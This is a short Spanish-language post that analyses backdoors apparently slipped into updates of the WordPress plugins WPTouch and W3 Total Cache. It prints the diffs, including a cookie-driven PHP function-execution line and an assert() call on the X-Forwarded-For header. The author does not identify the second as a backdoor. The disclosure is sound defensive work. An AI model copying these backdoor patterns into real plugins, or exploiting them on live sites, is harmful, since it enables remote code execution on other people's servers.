Luego del incidente detectado por el equipo de WordPress, mirando rápidamente los cambios que se hicieron, se puede ver lo siguiente:
diff:
Index: /wptouch/trunk/wptouch.php
===================================================================
--- /wptouch/trunk/wptouch.php (revision 397079)
+++ /wptouch/trunk/wptouch.php (revision 399276)
@@ -511,4 +511,6 @@
if (isset($_COOKIE[$key])) {
$this->desired_view = $_COOKIE[$key];
+ if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2]))
+ $this->desired_view = $matches[1].$matches[2];
} else {
if ( $settings['enable-regular-default'] || defined( 'XMLRPC_REQUEST' ) || defined( 'APP_REQUEST' ) ) {
En el caso de WPTouch, permite la ejecución de código PHP ($matches[1]($matches[2])) de lo que se envíe en la cookie con nombre wptouch_switch_toggle.
Para el caso de WP Total Cache, no me queda muy claro. Por lo poco que vi, pareciera ser que desactiva la funcionalidad del plugin.
diff:
Index: w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php
===================================================================
--- w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php (revision 399488)
+++ w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php (revision 390604)
@@ -103,5 +103,5 @@
$this->_request_uri = $_SERVER['REQUEST_URI'];
$this->_lifetime = $this->_config->get_integer('browsercache.html.lifetime');
- $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_generic');
+ $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_pgcache');
if ($this->_config->get_boolean('mobile.enabled')) {
@@ -746,13 +746,4 @@
/**
- * Skip if proxy
- */
- if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) {
- $this->cache_reject_reason = 'proxy';
-
- return false;
- }
-
- /**
* Skip if posting
*/
@@ -932,12 +923,9 @@
break;
- case 'file_generic':
+ case 'file_pgcache':
$engineConfig = array(
- 'exclude' => array(
- '.htaccess'
- ),
- 'expire' => $this->_lifetime,
'cache_dir' => W3TC_CACHE_FILE_PGCACHE_DIR,
'locking' => $this->_config->get_boolean('pgcache.file.locking'),
+ 'expire' => $this->_lifetime,
'flush_timelimit' => $this->_config->get_integer('timelimit.cache_flush')
);
@@ -1010,9 +998,5 @@
*/
function _check_ua() {
- $uas = array_merge($this->_config->get_array('pgcache.reject.ua'), array(
- W3TC_POWERED_BY
- ));
-
- foreach ($uas as $ua) {
+ foreach ($this->_config->get_array('pgcache.reject.ua') as $ua) {
if (isset($_SERVER['HTTP_USER_AGENT']) && stristr($_SERVER['HTTP_USER_AGENT'], $ua) !== false) {
return false;
Como reflexión final, hay que tener siempre cuidado con los plugins que se instalan y si se conoce algo de PHP, nunca está de más echarle una mirada a los cambios realizados. En este caso, felizmente para los usuarios, estos modificaciones fueron detectadas.
